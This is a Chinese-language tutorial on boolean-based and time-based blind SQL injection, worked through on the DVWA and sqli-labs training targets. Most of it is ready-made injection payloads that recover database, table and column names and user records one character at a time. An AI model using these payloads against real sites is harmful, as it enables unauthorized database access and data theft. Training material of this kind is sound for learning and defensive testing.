布尔盲注
当输入数据的时候,只会回显正常或者不正常,不会有多余的信息回显
布尔盲注会使用到的相关函数
length(str) //返回字串长度
回显效果:
ord(str)/ascii(str) //返回字符的 ASCII 码回显效果:
substring(str,str_start,str_num) //截取字符串, str_start 从那个字符开始截取, str_num 截取几个字符回显效果:
char(num) //返回ascii 码对应的字符回显效果:
布尔盲注相关test payload
select length(database()) = 4; //用来判断数据库的长度是多少?(表名长、列名长)
select ord('a') = 97; //可以用来判断某个未知的字符究竟是什么
select ord(substring(database(),1,1)) = 100; //截取数据库的第一个字符来判断是什么布尔盲注的主要思路:利用函数以及不等式以及等式,从判断数据的长度多少,到一个一个字符去尝试,得到数据库的名字,再由数据库的名字去判断表有几个,再一个一个字符去尝试得到表的名字.........
布尔盲注靶场实操
首先判断是否存在SQL注入
数字型???—— 1 and 1=1 1 and 1=2 都无报错
字符型???—— 1' and '1'='1 没报错 1' and '1'='2 报错
说明可能存在字符型的SQL注入
由于结果
由于结果并不会会有相关的信息回显,因此只能尝试盲注
由源码得到SQL的语句为
SELECT first_name, last_name FROM users WHERE user_id = '$id'
第一步——判断数据库名字的长度
payload(两种):
1' and length(database()) = 4#
-1' or length(database()) = 4#
我们事先并不知道数据库的名字等于dvwa,所以一开始我们可以利用<10,>1类似的语句,一步一步的推出最后得到 length(database())=4 ,回显存在结果,即为判断正确
第二步——推出数据库的名字
payload:
1' and ord(substring(database(),1,1)) = 100# //判断出来数据库名称的第一个字母是 d 也就是 ASCII码为 100 的字母
1' and ord(substring(database(),2,1)) = 118# //判断出来数据库名称的第二个字母是 v 也就是 ASCII码为 118 的字母
..............
利用substring函数不断截取数据库名字的一个一个字符,从1开始截取,一直到4(因为我们第一步判断出来了数据库名字长度为4),再利用ord函数将其转化为ascii码,以此来判断每一个字符是什么
第三步——判断dvwa数据库中的表有几张
payload:
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa') = 2# //判断 dvwa 数据库里面的数据表有几张
第四步——判断第一张表的长度、第二张表的长度.......
payload:
1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1)) = 9# //判断 dvwa 数据库里面的第一张数据表的长度(guestbook)
1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1)) = 5# //判断 dvwa 数据库里面的第二章数据表的长度(users)
太累了,不想写了,所有的payload就是如下
1' and ord(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 103# //得出 dvwa 里的第一张表的名字的第一个字母是 g 也就是 ASCII码为 103 的字母(g)
1' and ord(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)) = 117# //得出 dvwa 里的第一张表的名字的第二个字母是 u 也就是 ASCII码为 117 的字母(u)
...1' and ord(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)) = 117# //得出 dvwa 里的第二张表的名字的第二个字母是 u 也就是 ASCII码为 117 的字母(u)
1' and ord(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1)) = 115#(s)
...1' and (select count(column_name) from information_schema.columns where table_schema = 'dvwa' and table_name = 'users') = 8# //判断 dvwa 数据库中 users 表中的所有列的数量
1' and length((select column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' limit 0,1)) = 7# //判断 dvwa 数据库中的 users 表中的第一列的名称的长度1' and ord(substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)) = 117# //获取 users 表中的第一个列的名字的第一个字母是 u 也就是 ASCII码为 117 的字母(u)
1' and ord(substring((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1)) = 115# //获取 users 表中的第一个列的名字的第二个字母是 s 也就是 ASCII码为 115 的字母(s)
...
1' and ord(substring((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)) = 102# //获取 users 表中的第二个列的名字的第一个字母是 f 也就是 ASCII码为 102 的字母(f)
1' and ord(substring((select column_name from information_schema.columns where table_name='users' limit 1,1),2,1)) = 105# //获取 users 表中的第二个列的名字的第一个字母是 i 也就是 ASCII码为 105 的字母(i)
...1' and ord(substring((select user from dvwa.users limit 0,1),1,1)) = 97# //获取dvwa数据库中users表中user列的名称的第一个字母 a 也就是 ASCII码为 97 的字母(a)
1' and ord(substring((select user from dvwa.users limit 0,1),2,1)) = 100# //获取dvwa数据库中users表中user列的名称的第一个字母 d 也就是 ASCII码为 100 的字母(d)
...
时间盲注
布尔盲注至少有回显正确结果和不正确结果,但有一种情况是什么都不回显,这个时候它可能存在时间盲注
所使用到的靶场——sqli-labs-master less9
无论输入的id为多少,回显始终一致
时间盲注会使用到的相关函数
if语句:
if(a,b,c) ===> 如果 a 为 true , 则执行 b ,若 a 为 false , 则执行 c。sleep(x):
程序休眠 x 秒。
left(string, number):
从左边开始截取字符串。
时间盲注相关test payload
select 1 and if(length(database()) = 4,sleep(3),1)
1' and sleep(3) --+ //用来测试是否存在事件盲注通过判断网页会不会瞬间回显,来判别输入语句的对错,进而一步一步得到我们想要的数据
时间盲注靶场实操
SQL源码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
payload:
1' and sleep(5) --+ //判断是否存在注入点
1' and if(length(database())=8,sleep(3),1) --+ //判断数据库的长度是否为8
1' and if(left(database(),1)='s',sleep(3),1) --+ //判断数据库的名称的第一个字符是否 's'
1' and if(left(database(),2)='se',sleep(3),1) --+ //判断数据库的名称的前两个字符是否是 'se'
...
1' and if(left(database(),8)='security',sleep(3),1) --+ //数据库名称 'security'
1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(3),1) --+ //判断数据库排序后的第一个表的长度
1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e',sleep(3),1) --+ //数据库排序后的第一张表的名称的第一个字符是否 'e'
1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)='em',sleep(3),1) --+ //数据库排序后的第一张表的名称的前两个字符是否 'em'
...
1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),8)='emails',sleep(3),1) --+ //数据库排序后的第一张表的名称为 'emails'1' and if(length((select column_name from information_schema.columns where table_name='emails' limit 0,1))=2,sleep(3),1) --+ //判断 'security' 数据库中的数据表 'emails' 中的第一个列的名称长度
1' and if(left((select column_name from information_schema.columns where table_name='emails' limit 0,1),1)='i',sleep(3),1) --+ //判断 'security' 数据库中的数据表 'emails' 中的第一个列的名称的第一个字母 'i'
1' and if(left((select column_name from information_schema.columns where table_name='emails' limit 0,1),2)='id',sleep(3),1) --+ //判断 'security' 数据库中的数据表 'emails' 中的第一个列的名称的前两个字母 'id'